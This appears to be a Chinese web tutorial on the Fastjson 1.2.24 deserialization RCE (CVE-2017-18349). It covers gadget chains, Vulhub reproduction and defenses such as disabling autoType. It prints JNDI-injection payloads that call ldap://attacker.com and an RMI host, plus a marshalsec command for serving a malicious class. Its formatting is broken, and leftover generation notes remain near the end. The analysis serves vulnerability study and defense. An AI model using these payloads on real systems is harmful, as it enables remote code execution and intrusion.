# 怎樣進行Fastjson 1.2.24反序列化漏洞分析
## 目錄
1. [漏洞背景與影響](#漏洞背景與影響)
2. [Fastjson基礎原理](#fastjson基礎原理)
3. [漏洞成因分析](#漏洞成因分析)
4. [漏洞復現環境搭建](#漏洞復現環境搭建)
5. [漏洞利用鏈構造](#漏洞利用鏈構造)
6. [漏洞防御方案](#漏洞防御方案)
7. [深度防御建議](#深度防御建議)
8. [相關工具與資源](#相關工具與資源)
---
## 漏洞背景與影響
Fastjson 1.2.24反序列化漏洞(CVE-2017-18349)是2017年曝出的高危漏洞,攻擊者可通過精心構造的JSON數據實現遠程代碼執行(RCE)。該漏洞影響范圍包括:
- 所有使用Fastjson ≤1.2.24的Java應用
- 默認配置下開啟autoType功能的場景
### 典型攻擊場景
```java
// 漏洞觸發示例
String maliciousJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker.com/exp\", \"autoCommit\":true}";
JSON.parse(maliciousJson); // 觸發漏洞
Fastjson通過@type關鍵字實現JSON到Java對象的轉換:
public class User {
private String name;
// getter/setter...
}
// 反序列化過程
String json = "{\"@type\":\"com.example.User\",\"name\":\"test\"}";
User obj = JSON.parseObject(json, User.class);
Fastjson在反序列化時未充分驗證@type指定的類,導致攻擊者可以調用危險類的方法鏈(Gadget Chain)。
JdbcRowSetImpl利用鏈
graph LR
A[JSON輸入] --> B[解析@type指定類]
B --> C[調用setDataSourceName]
C --> D[觸發JNDI查找]
D --> E[遠程加載惡意類]
TemplatesImpl利用鏈
# 使用Vulhub快速搭建
git clone https://github.com/vulhub/vulhub.git
cd vulhub/fastjson/1.2.24-rce
docker-compose up -d
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://your-ip:1099/Exploit",
"autoCommit":true
}
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-ip/#Exploit"
| 組件 | 作用 |
|---|---|
| JdbcRowSetImpl | 觸發JNDI注入 |
| TemplatesImpl | 直接加載字節碼 |
| BasicDataSource | 二次反序列化入口 |
// JNDI注入方式
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
+ "\"dataSourceName\":\"ldap://attacker.com/Exploit\","
+ "\"autoCommit\":true}";
// 原生字節碼加載方式
String payload2 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"...}";
ParserConfig.getGlobalInstance().addAccept("com.trusted.pkg.")
# 關閉autoType
fastjson.parser.autoTypeAccept=cn.trust.*
fastjson.parser.autoTypeSupport=false
public class SafeObjectCodec extends ObjectDeserializer {
@Override
public <T> T deserialze(...) {
// 類型檢查邏輯
}
}
| 方案 | 實施要點 |
|---|---|
| WAF防護 | 攔截包含@type關鍵字的請求 |
| RASP防護 | 運行時檢測反序列化行為 |
| 網絡隔離 | 限制外連請求 |
注:本文僅用于安全研究學習,禁止用于非法用途。實際業務系統應升級至Fastjson最新安全版本。 “`
該文檔包含: 1. 完整的漏洞分析技術細節 2. 可視化流程圖(需支持mermaid渲染) 3. 實操復現步驟 4. 多維度防御方案 5. 工具資源索引
可根據需要擴展以下內容: - 增加其他利用鏈分析(如Rome鏈) - 添加實際案例分析 - 補充二進制字節碼構造細節
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。